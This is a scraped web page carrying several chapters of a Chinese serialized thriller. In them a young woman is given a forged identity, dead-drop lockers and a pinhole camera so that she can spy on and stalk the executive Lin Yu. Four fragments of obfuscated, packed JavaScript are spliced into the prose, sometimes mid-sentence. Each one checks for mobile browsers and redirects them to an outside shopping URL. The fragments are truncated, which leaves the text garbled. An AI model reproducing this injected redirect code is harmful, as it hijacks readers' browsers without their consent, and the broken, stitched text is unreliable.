d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578002|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洛结束了漫长的治疗以后，她才知晓叶时冉之死的真凶竟然一直逍遥法外。 尽管她一直试图说出真相，但是由于当时已经结案，再加上她空口无凭没有证据，所以一直无法为叶时冉伸冤。 那时候其实还发生了一件事情对她影响很大，就是院长妈妈在她住院期间去世了。她这才知道，原来院长妈妈早就被检查出癌症晚期。 同样让她受打击的，还有程景逸的杳无音信。 在火场当中，容清洛其实还有模糊的意识。 所以她记得，是程景逸冲进山道，在翠屏岩附近的山石旁找到了半昏迷的她，然后冒着生命危险将她背下山。 当时的她，状态已经很不妙了。 她的脸上和身上都有着不同程度的烧伤。 是程景逸小心翼翼地把她背起来，带着她在滚滚浓烟中冲出火海。 他又救了她一命。 她很感谢他。 可是在程景逸把她送上救护车以后，她就再也没有见过他的人。 她鼓起勇气给程景逸曾经留给她的三个号码打电话，却意外地发现这三个号码竟然都成为了空号。 自此，容清洛就彻底和程景逸失去联系。 好在，接二连三的打击没有让她一蹶不振，她竟然意外地冷静。 严靖诚找上门来和她谈合作，她就这样被半骗着上了贼船。 如今严靖诚故意让她发现自己的脸和严汀洛很像，就是为了逼她做选择，让她心甘情愿地主动利用这张脸的优势接近林裕，然后为他和范家所用。 容清洛讨厌被人威胁。 讨厌被人胁迫。 讨厌被人强压着做迫不得已的决定。 更讨厌被人像傻子一样，一而再、再而三地欺骗。 所以。 这一刻。 又一次站在南山森林公园文笔峰的翠屏岩之上。 站在这个彻底改变了自己命运走向的地方。 容清洛在心里暗暗发誓。 终有一天，这个严靖诚，也会被她弄死。 草菅他人性命者，必被后来者斩杀。 这些人，有一个算一个，她一个都不会放过。 时冉，我会让他们给你，和那个逝去的季希，陪葬。 想到这里，容清洛冷肃的脸上浮起一抹苦笑。 程景逸曾经多次提醒她。 屠龙少年终成恶龙。 他不希望她走上这条不归路。 可惜，如今她已经被推入局中，无法脱身。 曾经那个即便半个身子跌入悬崖却仍然向上挣扎的她，现在终究还是主动步入这深渊。 在光明与黑暗的岔路口，她选择走进这黑夜。 所幸程景逸并不知道这些。 既然他消失地杳无踪迹，那就永远不要回来，不要看见她这副堕崖之后与恶鬼做交易的模样。 开弓没有回头箭。 世上也没有后悔药。 走上这条路，她就不会回头。 再艰难，她都会走下去。 不管当初是因为被胁迫、被利用还是被欺骗，已经做下的决定，既然已经落子，便没有后悔的余地。 永远向前，别回头，承担后果就好。 容清洛这样告诉自己。 52. 长夜独行 容清洛准备从南庐市离开的时候，正是春寒料峭的时节。 年后复工，容清洛以一个失业打工人的身份到宁川市去寻找新的就业机会，这很合理。 不过她没想到，在临走前，还能分别收到贺溪君和吴焕晗的来信。 一封来自宁川市，一封来自齐城市。 自从容清洛在高一寒假和吴焕晗一起在华章书屋偶遇贺溪君，度过了那个快乐的下午以后，她已经两年没有见过二人了。 尽管如此，她一直和两人保持着书信联系。 准确地说，是她们两人一直和她联系。 她们每隔一段时间都会给她寄信。 所以容清洛对她们的近况还算了解。 贺溪君已经在宁川市读大一，开始了缤纷多彩的大学生活。 吴焕晗则正处在高三备考的重要时刻。 读信的时候她总是很开心，可是回信的时候她却每每很犯难。 因为关于她的情况，有很多都是不能和她们分享的。 在容清洛分别给二人的回信中，她犹豫再三，写道，她准备离开南庐市，到外面闯一闯。 在这么多封回信里，她从未告诉她们，自己现在的模样和名字都已经改变。 容清洛心里明白，她已经走上一条和她们完全不一样的人生道路。 她们在光明里。 而她在黑暗中。 光明里的人和黑暗里的人，只能渐行渐远。 所以她没有告诉她们自己准备去哪个城市，也没告诉她们将来如何联系自己。 将信封投进邮箱，容清洛在心中对两位朋友轻轻道别。 青山不改。 绿水长流。 祝你们平安喜乐。 但我们，后会……无期。 *** 恰逢月底，容清洛最后一次去人民医院找严靖诚复诊。 距离上次那回不愉快的会面，已经过去两个月。 在过年期间，容清洛曾经来过一次，向严靖诚汇报她已经辞职，并对她在南庐市的工作关系做好了断。 如今再见面，容清洛和严靖诚两人都是一副如常的模样。 严靖诚没有提严汀洛的事情。 容清洛也假装自己没有见过严芷萱，装作并不知道严靖诚又骗了她。 由于这个月里容清洛的任务只是在准备去宁川市的事宜，所以她的汇报十分简短，很快完成。 见严靖诚脸上并无异样，容清洛判断，他应该并不知道她在星云湾附近蹲守许久的事情。 她心里微松，问道：“严医生，临走之前，你有什么要叮嘱和特别交代的吗？” 严靖诚面上露出一副语重心长的模样，说道：“林裕这个人疑心重，不太容易接近，范家派出去的人里面，除了汀洛，还没有人能长久地潜伏到他身边。” “所以你这次去，只能靠你自己。” “不过，我对你有信心，不要让我失望。” 容清洛：“就没有一点支援和帮助吗？这个任务很难诶。而且林裕的资料一点都不好查。” 严靖诚从书柜中取出几个牛皮纸文件袋放到桌上，示意容清洛打开。 文件袋都很厚。 容清洛拿起来颠了颠，分量似乎都不轻：“这些里面装了什么好东西？林裕的资料？” 严靖诚：“不止。你打开看看不就知道了？” “你目前要做的第一步，就是抓住一切机会，尽量自然地潜伏到林裕身边。” “不要急功近利。你可以慢，但是一定要稳。” “你做好你的后勤保障事务，我自然会完成好我的任务。”容清洛看了他一眼，打开其中一个文件袋，将里面的东西倒出来。 容清洛从一堆文件里摸出几把钥匙：“怎么有这么多钥匙？” 严靖诚拿起其中一把钥匙：“这把钥匙对应的是我让人替你在宁川市提前租好的房子。” “你之后可以自行根据任务需要更换住址，只是你熟悉宁川市需要一个过程，目前去了就先住那里。那里离林氏集团总部很近，方便你行动。” 容清洛：“这套房子在哪里？” 严靖诚拿出一张纸条：“后天我休息，我会开车送你到宁川市，之后你按照这上面的路线走就能找到。” 容清洛惊讶：“你亲自开车送我？其实我坐火车就可以，票我都看好了。” “只是最近出台了新政策，买火车票需要实名制，但是我还没有身份证。” “所以我今天来其实还想和你请示一下，我是到宁川市办身份证还是在南庐市办身份证？” “这你不用担心，我已经给你办好了。”严靖诚翻出一个文件袋递给她。 容清洛接过文件袋，纳闷道：“拍照不需要本人到场吗？” 严靖诚：“别忘了，你现在来找我复诊只是借口，但是你的脸彻底养好之前还是经常复诊的。每次复诊的时候，我都会给你拍照，记得吗？证件照用的是你最后一次复诊时拍照的相片。” “这样啊。”容清洛已经在文件袋里找到一堆她的新证件，姓名都是容清洛，相片都是她现在的脸。 严靖诚点着她身份证上的住址和签发机关正色道：“你看到这些了吗？从今往后，南庐市和你没有关系，你是土生土长的宁川市宣水县人。” 容清洛：“但我从没去过宣水县，如果有人去宣水县调查我，岂不是会露馅？” 严靖诚：“这我都安排好了，如果有人查你，会有人替你圆过去。” “我之所以要开车送你去宁川，就是为了避免你留下一条从南庐到宁川的乘车记录。” “后天我不会把你送到宁川市的市区，而是会把你送到宣水县，你自己在宣水县转一转，然后买车票乘大巴到市里，按照我刚给你的纸条找到为你准备的落脚点。” 容清洛点头：“明白了。不过，宁川市房子的钥匙怎么会在你这里？” 严靖诚：“邮寄过来的，我也是前几天才拿到，刚好现在给你。” 容清洛将钥匙和写有地址的纸条收好，疑惑道：“不过，为什么要寄过来呢，完全可以等我到了宁川市再给我啊？” 严靖诚解释道：“为了确保你的身份不会暴露，我没有给宁川市那边的人透露你的任何信息。” 容清洛十分诧异：“那岂不是没有人接应我？” “所以我才需要在你走之前，把这些事情都交代清楚。”严靖诚郑重道，“等你到宁川市之后，我们这边的人不会主动联系你。” “你在南庐市这边的手机号等联络方式就不要再用了，新的联络方式也不需要告诉我。” “你在宁川市，必须和我们这边做一个切割。” 容清洛沉下面色。 这意味着，她在宁川市的一切行动都要靠她自己。 严靖诚见容清洛沉默不语，将另外一个文件袋推到她面前：“这里面有两张新的银行卡和一些现金。银行卡都在你名下，一张银行卡你作为常用，另一张作为应急。密码在里面的文件中有记录。” “你现在的身份是独自一人从乡下老家到市里打工的年轻人，母亲早逝，有一个在外地打工的父亲。你卡里收到的汇款都是你父亲打给你的。” 容清洛：“父亲是谁？” 严靖诚：“必要时，可以是我。” “哦。”容清洛收好银行卡和现金。 严靖诚：“对于这个任务，范家能提供的只有金钱帮助。卡和现金现在交给你，未来也会定期往你的卡里汇钱，这方面你不用操心。” “至于如何完成任务，你只能自己琢磨。” 容清洛点头不语。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578003|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 严靖诚又指着剩下的其他钥匙道：“这些钥匙上贴着不同的标号，每个标号对应着在宁川市不同地方的储物柜，这些储物柜一般分布在像超市、商场、图书馆这种的公共场所。” 容清洛：“储物柜？” 严靖诚：“这些储物柜就是你和我们的秘密联络点。具体的使用方式你看这个文件袋里的资料就知道如何使用。” “搜集到的情报就放进这些储物柜里。” 容清洛提出疑问：“那如果我有事情想要请示你怎么办？” 她就像一只被放出去的风筝。 这条风筝线，现在还不能断。 严靖诚：“在宁川市，你有绝对的自主权。随机应变，事急从权，这些不需要我再教你吧。” “如果有必须要联络我们的事情，不那么紧急的，就和搜集到的情报一起放进秘密联络点的储物柜。等你下次再去储物柜的时候，一般就会有回复。” 容清洛盯住严靖诚：“放储物柜保险吗？时效性怎么样？” 严靖诚：“你放心，这些储物柜都由专人负责，会定时查看。” 容清洛又问道：“那如果是很紧急的事情呢？” 严靖诚：“如果是很紧急不能拖的事情，你就到外面找公用电话直接拨打我的电话。” 容清洛：“好。也就是说，特殊情况下，我可以直接联系你。” “对。特殊情况特殊处理。”严靖诚，“另外，你在给我拨电话以后，先不要说事情。你要先表明你那边的环境是安全的，方式是说出暗号。” 容清洛：“什么暗号？” 严靖诚：“严医生您好，听说您整形技术很好，您今天手术排满了吗？” 容清洛吐槽：“你这是夹带私货。” 严靖诚一本正经：“这是符合我们两个人身份的暗号，即便被听到也不容易被人怀疑。” 容清洛无声默念，将这句暗号记在心里。 严靖诚继续道：“如果我回答‘我今天手术已经排满了’，就说明我这会儿不方便和你沟通，然后我会告诉你让你什么时候再打过来询问。” “如果我回答‘我今天手术还没排满，你想要咨询什么类型的手术’，你就可以直接说事情了。” 容清洛：“好。” 她从严靖诚桌上摆的名片盒里取出一张：“那我把你的名片带上，这上面有你的联系电话。” 严靖诚露出不赞成的神情：“我建议你不要带名片。” 他道：“你最好把我办公室的电话和我的手机号用脑子记下来。” 容清洛：“可是这很容易忘诶。” 严靖诚认真解释道：“如果有心人看见你有我的名片，就会意识到我们两个也许是认识的。如果这个人顺着这条线深挖下去，极有可能会发现你是被我派到林裕身边的。” 容清洛：“需要小心到这个程度吗？” 严靖诚：“需要。” “我说过，林裕这个人疑心很重，所以你必须要提高警惕。” “任何细节都有可能导致你被怀疑。” “这种容易暴露身份的东西，我劝你不要留在身边。” 说着，严靖诚把容清洛手里的名片拿走，撕掉扔进垃圾桶里：“从现在起，很多东西你都要记在脑子里。不要随便把重要信息在纸上留下痕迹。” “好。”容清洛，“那之后的任务你如何发布？” 严靖诚：“一切等你在林裕身边站稳脚跟之后再谈。” 容清洛点头。 她将这些牛皮纸文件袋一个一个装进书包，起身准备走。 在容清洛即将踏出办公室的时候，严靖诚说道：“到了那边，做所有决定之前都谨慎些，别把自己玩死了。” 容清洛脚步微顿，没有回头，挥挥手，拉开门离开了这里。 53. 长夜独行 惊蛰，小雨如酥，丝雨绵绵。 淅淅沥沥的雨声砸在屋檐上，却并不凄冷，反倒让人注意到窗外的春色。 南庐市尚有倒春寒，此刻的宁川市却已经是一派万物复苏的景象。 容清洛被雨声吵醒，走到阳台上，随手拿起一旁摆在架子上的喷水壶，细致地浇起花花草草。 这些绿植是这几天她在附近闲逛时买的。 说是闲逛，其实她这是在熟悉周边环境。 尽管她买了宁川市的详细地图，但纸上标出的平面地点是一回事，自己脑海里立体的景象又是另外一回事。 经过这几天的探查，她虽然才来这里三四天，却已经对周边环境颇为熟悉了。 几天前，严靖诚把她送到宣水县后，她自己乘坐大巴车到达宁川市的市区。 容清洛在汽车客运站附近买了份宁川市各地区的详细地图，又在超市买了张乘车卡，很快按照严靖诚给的地址找到现在的住址。 这一路上，为了减小目标、不引人注意，她并没有带行李箱，只是背着一个很大的双肩包。 包里面装着严靖诚给她的那几个牛皮纸文件袋，以及她自己搜集的资料和她的新证件。 任谁看她，都只会把她当成一个开学返校的学生，以为她包里装的是学习资料。 由于没带什么行李，在刚到宁川市的这几天里，容清洛除了熟悉环境，还添置了不少必要的生活用品以及衣物。 老实说，严靖诚给她租的这套房子在一个普通的小区，房子不新不旧，质量不高不低，里面住一个普普通通的她，非常适合。 因为，不引人注意，不起眼，是她的第一需求。 另外这里离林氏集团总部不远，不过倒也没有特别近，毕竟，林氏集团总部那条街上的房子都很高档，价格也很贵，不符合她现在的身份，容易让人生疑。 容清洛一边浇水，一边将目光放远，透过花草藤蔓的间隙看向远处林立的高楼。 其中有一幢大厦格外显眼，那就是林氏集团。 容清洛昨天在林氏集团附近闲逛，注意到林氏集团旁边有一家咖啡店，里面客流量很大。 她在咖啡店里坐了许久，发觉很多顾客都是林氏集团的员工。 容清洛离开时，恰好看见门口的招聘信息，她便回到店内询问。 经理见她还算机灵，同意留下她当服务员。 今早便是她第一天去上班。 容清洛放下喷水壶，回到屋内。 她快速地洗漱好，将新买的电话卡插进手机里，这才出门。 咖啡店名为春觅。 员工每天两班倒，早班从早上七点到下午三点，晚班从下午三点到晚上十一点。 所以她每天都有小半天的空闲时间。 严靖诚给的资料里有林家老宅和林裕的一处公寓的地址。 她打算利用下班时间去这些地方转一转。 可惜咖啡店的工作看着简单却实在是劳累，第一周的时间里，容清洛还处于熟悉工作的状态，每天都手忙脚乱、疲惫不堪，下班之后实在是没有精力去干别的。 第二周的时候，容清洛渐渐适应咖啡店的工作节奏，业务越来越娴熟。 可她接近林裕的任务却寸功未进。 这不免令她有些焦灼。 毕竟，在咖啡店当服务员只是她明面上的工作。 她时刻谨记着，在顾客们闲聊地过程中快速地捕捉到其中一两句有用的信息，这才是她选择来咖啡店的原因。 可惜时间一天天流逝，容清洛却实在是没有打听到什么有关林裕的有用信息，反倒是被动地听到许多职场里的小八卦。 难道是因为林裕在林氏集团里的地位比较高，所以一般人接触不到他，也就不会谈论到他？ 想到这里，容清洛对自己在咖啡店打探消息的行为产生了深深地怀疑。 毕竟，来春觅咖啡店的顾客里，虽然有很多都是林氏集团的员工，但基本上级别不会太高。 她的最终目的是接近林裕，并且获得林裕信任。 现在的方法是不行的。 所以她必须要改变策略。 可是以她的这个学历，去林氏集团应聘怕是只能做清洁工这种工作。 她倒不是怕脏怕累。 关键在于，如果她到林氏集团这种大企业工作，她的个人信息一定会被集团知道，为了安全起见，她暂时不能采取这种方式。 基于这种情况，容清洛把去林裕住的地方蹲守的计划重新提上日程。 她现在熟悉了咖啡店的工作状态，渐渐游刃有余，也就有多余的体力和脑子去做这件事。 自此，只要容清洛不上班，她几乎都会去林家老宅和林裕公寓这两个地址附近蹲守，像一个鬼影，四处出没。 只是由于林家老宅在别墅区，安保很好，她根本进不去，就连出现在那片区域附近都显得很可疑。 最后在权衡之下，她只好选择盯紧林裕的公寓。 但这里也是高档小区，她还在想方法，到底应该怎么溜进去。 目前就只好在小区外盯梢。 严靖诚的资料里有林裕的照片，所以如果林裕出现，她是可以认出他来的。 但是盯了大半个月以后，容清洛仍然未在这小区附近见过林裕。 容清洛的心里不免有些犯嘀咕，林裕真的住这里吗？ 甚至她对林裕是否在宁川市都开始有些怀疑。 容清洛开始分析，严靖诚能有哪些渠道来获取有关林裕的信息呢？ 要么是公开的信息，要么是严靖诚他自己或者范家人在接触林裕的过程中观察到的，要么是严靖诚手底下的人汇报给他的。 但林裕真的太神秘了，从公开的信息里只能知道他的名字和他目前是林氏集团的总裁，连他的照片都没有。 严靖诚给的一些照片明显是有人在现实生活中遇到林裕时偷拍的。 容清洛猜测，有关林裕的这些信息里有一大部分都很有可能是以前严汀洛提供给严靖诚的。 但是这些资料应该是有时效性的。 以前正确的信息不代表现在仍然正确，现在正确的信息不代表未来会继续正确。 那么林裕究竟住在哪里，对她来说是一个很大的问题。 林家老宅的地址应该是真的，因为老宅这种地方一般不会轻易换。 但是公寓就不一定了。 说不定林裕早就换地方住了。 正当容清洛一筹莫展时，她意外地从两名林氏集团的年轻女员工的口中听到了一款名为《证道》的网络游戏。 当时这两人一边喝咖啡一边在聊天，容清洛在隔壁桌收拾桌面。 栗色长发女生：“今天下班逛街吗？” 黑色短发女生：“不了，我还有事。” 栗色长发女生：“你最近一下班就不见了人影，谈男朋友了？” 黑色短发女生：“没有，我最近在玩一款游戏，叫《证道》，我忙着升级做任务呢。” 栗色长发女生：“你怎么开始对网游感兴趣了，这游戏很好玩吗？” 黑色短发女生低声道：“小道消息，林总也在玩这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578004|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 游戏。” 栗色长发女生：“真的假的，林总那般神龙见首不见尾的人，你怎么知道他玩这个？” 黑色短发女生：“我也是听别人说的。而且据说林总的号级别还挺高的。” 栗色长发女生：“真的假的。” 黑色短发女生：“不管真假，这个游戏是真的挺好玩。其实我一开始只是想要对这个连林总都在玩的游戏一探究竟，没想到玩着玩着有点上头，所以就继续玩下去了。” 两人又聊了一会儿无关紧要的内容才离开。 容清洛面上不露声色，心里却百转千回。 她觉得这两个女生说的话有很高的可信度。 因为在严靖诚给她的资料里面提到过，林裕以前曾经在国外创业，做出了好几款市场反响很好的网游。 只是林裕后来与合伙人因理念不合而闹翻，且家里人一直催他回来接班，他这才回国接手林氏集团。 回国后，林裕一面在林氏集团大展拳脚，一面在暗中重新做游戏公司。 但是这件事，一般人都不知道。 严汀洛当初能知道这些事情，并将这些内幕传递给严靖诚，这说明，她当初很得林裕信任。 所以，这两个女生提到的《证道》，很有可能就是林裕手底下的团队做出来的网游。 总算有一个突破口了。 容清洛在心里感慨。 林裕现在作为林氏集团的总裁，是一个大人物。 可他真的太神秘了。 她对林裕的了解真的很有限。 就目前的情况而言，不论是从林裕的住址，还是林裕的工作地点来看，她都无法进一步接近和了解林裕。 这个人就像一只无缝的蛋，根本无从下手。 本来她只要能见到林裕，就能有迹可循地探知到林裕这个人究竟是怎样的。 可关键就在于，她来宁川市已经一个多月了，每天早出晚归，愣是没有摸到林裕这个人的边。 她明白，自己现在太被动了，在咖啡店和公寓附近搜集消息就像是守株待兔一样，能获得信息的可能性很小。 这和在南庐市搜集林晶的信息不同。 在南庐市，她认识林晶，知道林晶经常去的地方，她能见到林晶，所以她调查林晶起码是有支点的。 但是在宁川市，她不知道林裕目前真正的住址，不知道林裕常去哪些地方，只有一些严靖诚给她的有关林裕的信息，而且这些信息的真伪还有待她通过时间去慢慢研判。 所以目前即便她再想接近林裕，也实在是没有支点。 好在现在知道林裕有极大的可能在玩这个网游，她必须得去尝试着玩一下。 可是说老实话，容清洛从小到大都还没怎么接触过电脑呢。 幸好她今天上早班，下午三点就下班了。 和一起打工的咖啡店小伙伴们打听了一下怎么玩网游，容清洛下班后立马回到家中翻出银行卡，取出一笔现金，根据同事给的地址找到宁川市专门卖电子产品的一条街。 她逛了许久，最后在一家店里买下一台笔记本电脑，并且火速办理宽带，给出租屋联上网络。 等一切办妥，容清洛坐在电脑前感慨，如今互联网刚刚兴起，她虽然已经被迫离开学校，但是仍然需要不断地学习和接触新的事物。 所以容清洛去报了一个计算机培训班。 逐渐了解网络之后，容清洛才真正意识到，在千禧年之后的这几年当中，时代发展是多么的日新月异。 她没有学历，便只有不断进步，才能不为时代所淘汰。 54. 长夜独行 自此，容清洛每天白天上班，晚上学习电脑知识，在《证道》网游里打怪做任务，有空的时候就去林裕那不确定真假的住址外蹲守。 这样大概过去将近一个月。 有一天，容清洛晚上回家熟练地打开电脑做《证道》的任务，组队打怪结束后，有个姑娘觉得她操作很漂亮，过来加她好友，问她平常用什么社交软件，能不能加个私人账号。 容清洛在《证道》里的这个号是一个男号。 她只想把这个号的级别练高，因此打怪时非常沉默，也非常暴力，但是也非常有实力，竟然意外地收获了迷妹的赞许。 不过，容清洛玩这个游戏不是来交朋友的，所以她婉拒了这个人。 但这是她第一次了解到社交软件这个概念。 在咨询了计算机培训班的老师以后，容清洛选了几个人们常用的社交平台，注册账号。 其中，除了通讯类社交平台以外，还有许多分享类社交平台广受人们喜爱。 容清洛便也对此研究起来。 在熟悉一款分享类社交平台的时候，她鬼使神差地在搜索栏里输入了林晶的名字。 本来没报什么期望，因为大家一般都会使用昵称。 但是没想到真让容清洛找到了林晶的账号。 林晶是一个很张扬的人，她的账号就是她的大名和拼音名字缩写，头像就是她本人的照片，所以很好认。 根据评论的互动和粉丝等细节顺藤摸瓜，容清洛还找到了甄安然、寇依宁等人的账号。 对容清洛而言，这真是意外之喜。 林晶高考结束后是会来宁川市的，到那时，只要她能盯住林晶，她自然就能够找到林裕。 如今是五月上旬，等六月初高考结束，林晶随时有可能会来宁川市。 如果届时林裕来接林晶，那这就是一个摸清林裕行踪的好机会。 意识到这一点，容清洛决定要为此好好准备，抓住机会。 她不知道林晶在来宁川市的途中会选择高铁还是飞机，亦或者是由专车接送从高速上走。 所以她必须得提前想好对策。 隔日，容清洛便一大早坐公交车分别前往机场和高铁站。 在两个地方勘察好路线以后，容清洛心中有两种假设。 如果有人来接林晶，那么她应该假装开车来接别人，等林晶一出来，便跟在林晶的车后面。 如果林晶没让人来接，那么她可以扮做网约车司机，让林晶坐上她的车。 这样，即便那天林裕没来，容清洛起码也可以知道林晶的落脚点。 不过，这样的构想太过理想化。 机场和高铁站的人流量都很大，稍不注意就会错过。 所以不能太盲目。 如果能够知道林晶是哪一天的航班或者车次，这样就能够缩小范围，基本锁定林晶到达宁川市的时间。 为此，容清洛每天都时刻关注着林晶在各个社交平台上的账号，试图通过各种蛛丝马迹来推断林晶的动向。 恰逢计算机培训班最近结课，容清洛便无缝衔接地报了一个驾校。 其实在容清洛刚来宁川市的时候，她就有考驾照的打算，可惜那时候她的身份证上还没过18岁，没这个资格。 如今两个多月过去，容清洛终于能报考驾照了，她立马抓紧时间学车、练车，打算争取在林晶来宁川市之前把驾照拿到手。 可直到六月初的时候，容清洛还在苦哈哈地练习科目三。 容清洛不由得有些心焦，这时间太紧了。 打出租车盯梢实在是太怪异了，也很容易暴露，最好还是她自己开车盯梢。 可如果林晶一考完试就来宁川市，那时她还没拿到驾照，就没办法自己开车。 好在高考结束以后林晶便在社交账号上一直发各种旅游动态，有国内的，也有国外的。 总之种种迹象表明，林晶还没来宁川市。 容清洛的心里这才稍微安定。 经过苦练，在七月上旬，容清洛的皮肤黑了一个度的时候，她终于拿到驾照。 此时距离容清洛从南庐市来到宁川市，已经过去四个月。 她对市场有了比以前更深刻的认识，也学会了使用网络、计算机等科技成果。 她发现，原来这些年里，随着网络化和数字化的时代浪潮不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16578005|187194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断激起新的水花，社会上涌现了很多新兴的职业，比如快递员、网约车司机、外卖骑手、短视频创作者等等。 容清洛敏锐地察觉到，这种灵活就业方式非常适合给她打掩护。 由于咖啡店的工作是对她真实身份的一种保护，所以她希望能一直做下去。 而她在有些特殊情况下需要用其他的职业身份来打探消息，那么这个时候，她完全可以选择这些灵活的新兴职业，并且还不用把咖啡店的工作辞掉。 毕竟，作为一个卑微打工人，同时打多份工来挣钱养自己，这是多么正常的一件事情。 而且这些职业还不要求学历。 没有学历的她去做这些工作以期挣更多的钱，这样的动机非常合情理，轻易不会被人怀疑。 这样，她就可以尝试着借助快递员和外卖骑手这两个兼职靠近林裕公寓所在的那个小区。 想通这一点，容清洛立马行动。 她勤点外卖，每次趁机和各个外卖小哥搭话咨询。 经过几个好心小哥的指引，大概一个星期以后，容清洛顺利成为一位兼职外卖骑手。 买了一个小电驴，花了几天学车，容清洛才终于学会在骑车时保持平衡不摔倒。 自此，她只要有空，都会接一些外卖订单。 不过，她只接林裕公寓附近的外卖单，为的就是光明正大地进小区，熟悉那周边的环境。 但这样的外卖单也并不是每天都有，随机性很大。 所以容清洛开始在电商平台上购物，利用在小区快递服务站取快递的机会顺便打探门路。 恰好林裕公寓所在小区的快递服务站正在招人，容清洛成功打入，成为一名兼职快递员。 容清洛这下终于有了每天出入林裕公寓所在小区且不被怀疑的由头。 一次送快递的时候，地址刚好是林裕公寓所在的那栋单元楼。 容清洛假装不小心摁错了电梯的楼层，终于精准地找到林裕公寓的门口。 只是楼道里有摄像头，容清洛不可能一直蹲守在这里，她只好用身体遮住手上的动作，在摄像头的盲区迅速地给大门拍了张照，然后便马上离开。 55. 长夜独行 七月底，炎炎夏日，蛙鸣蝉噪。 下午三点，正是烁玉流金的时候，容清洛从咖啡店下班，沿着街边的阴凉处行走。 她走得很慢，在经过一家大型连锁超市时，她抓紧背包的带子，脚步稍显迟疑，但最终还是拐了进去。 这家超市的寄存柜是带钥匙的机械式寄存柜。 这会儿超市门口客流量少，工作人员也是午后困乏。 容清洛站在寄存柜前，趁着无人注意，从包里取出钥匙，按照钥匙上贴的编号将其插入其中一个柜门，拧动。 门竟然真的被打开。 容清洛从背包的夹层里取出一个信封，将其放进柜内，迅速关门。 她扫视一周，没什么人注意她的动作。 稍微松下一口气，容清洛没有立马离开，而是在超市内部转了一圈，随手买了一瓶水，这才走出超市。 第二天一早，容清洛在上班的途中专门绕路到这家超市的寄存柜查看，她昨天放进柜内的信封已经不见。 这是她来宁川市后第一次主动联系严靖诚。 只是对于这种方式，容清洛也是首次尝试。 她实在是不知道这封信到底是被专人收走了，还是被超市检查的工作人员给清理掉了。 过了两天，下午下班后，内心有些不安的容清洛再次来到超市。 为了不让人生疑，她先进超市里买了不少零食，临走时才打开寄存柜的柜门。 里面赫然放着一个包装盒。 容清洛不动声色地扫视周围，确认行人无异常，这才将其拿起。 在手中轻掂两下，她没猜出里面是什么东西，只好迅速将其塞入背包中，离开超市。 回家后，容清洛把纸盒拆开，最上面摆着一封信。 容清洛挑眉。 她前几天曾经发出过一封信。 如今看来，这封信确实被成功地传递了回去。 在信里，她向严靖诚汇报了这几个月的任务进展以及目前的现状和接下来的打算。 此外，她还向严靖诚申请了一笔资金。 虽然严靖诚给她的两张卡里都还有钱，但是如果用来买车的话，不太够。 不知道严靖诚对她的汇报和请示有怎样的回复。 容清洛将信封拿起来。 首先确认封口是封好的，没有被拆过的痕迹。 从此处来看，容清洛猜测这信是严靖诚从南庐市托人带到宁川市的，怪不得要好几天的回复时间。 之后她才撕开封口，取出里面的信纸。 纸上的内容很简单。 「情况已悉知，进度稍慢，需加快进展。」 「林确在宁川市，你未找到是能力问题，需努力。可将林的妹妹作为突破口。」 「将摄像头装在林公寓前，确认该公寓林是否还住。」 「你自己去买车，易惹人怀疑。专车已给你配好，停在楼下。他人若问起，可答是你在外地打工的父亲给你买的。」 看完，容清洛放下信纸，查看纸盒里的其他东西。 针孔摄像头。 车钥匙。 一张汽车的照片。 以及一个U盘。 容清洛把U盘插在电脑上，发现里面是一个和摄像头配套的电脑软件。 在将这种针孔摄像头的说明书仔细研究了一遍以后，容清洛皱起眉头。 此时已是傍晚，她快速起身将屋内各处的窗帘全部拉上，然后借着透过帘布打进来的昏暗光线对整个屋子进行一遍扫荡式的检查。 在这个过程中，容清洛的脑门上全是汗珠。 最后，她瘫坐在沙发上，面无表情。 没有发现针孔摄像头。 但这并不是一件多让人高兴的事情。 紧绷的神经没有慢慢放松，反而拉得更加紧。 这屋子里，到底是没有摄像头，还是她太垃圾，都这样搜查了竟然连摄像头都找不到在哪里？ 心里的丝丝恐惧在这般念头的催化之下一点点凝聚成对自己无能的愤怒。 容清洛猛地从沙发上弹起，朝门外走去。 当手搭在门把手上的一瞬间，她的动作微微停滞。 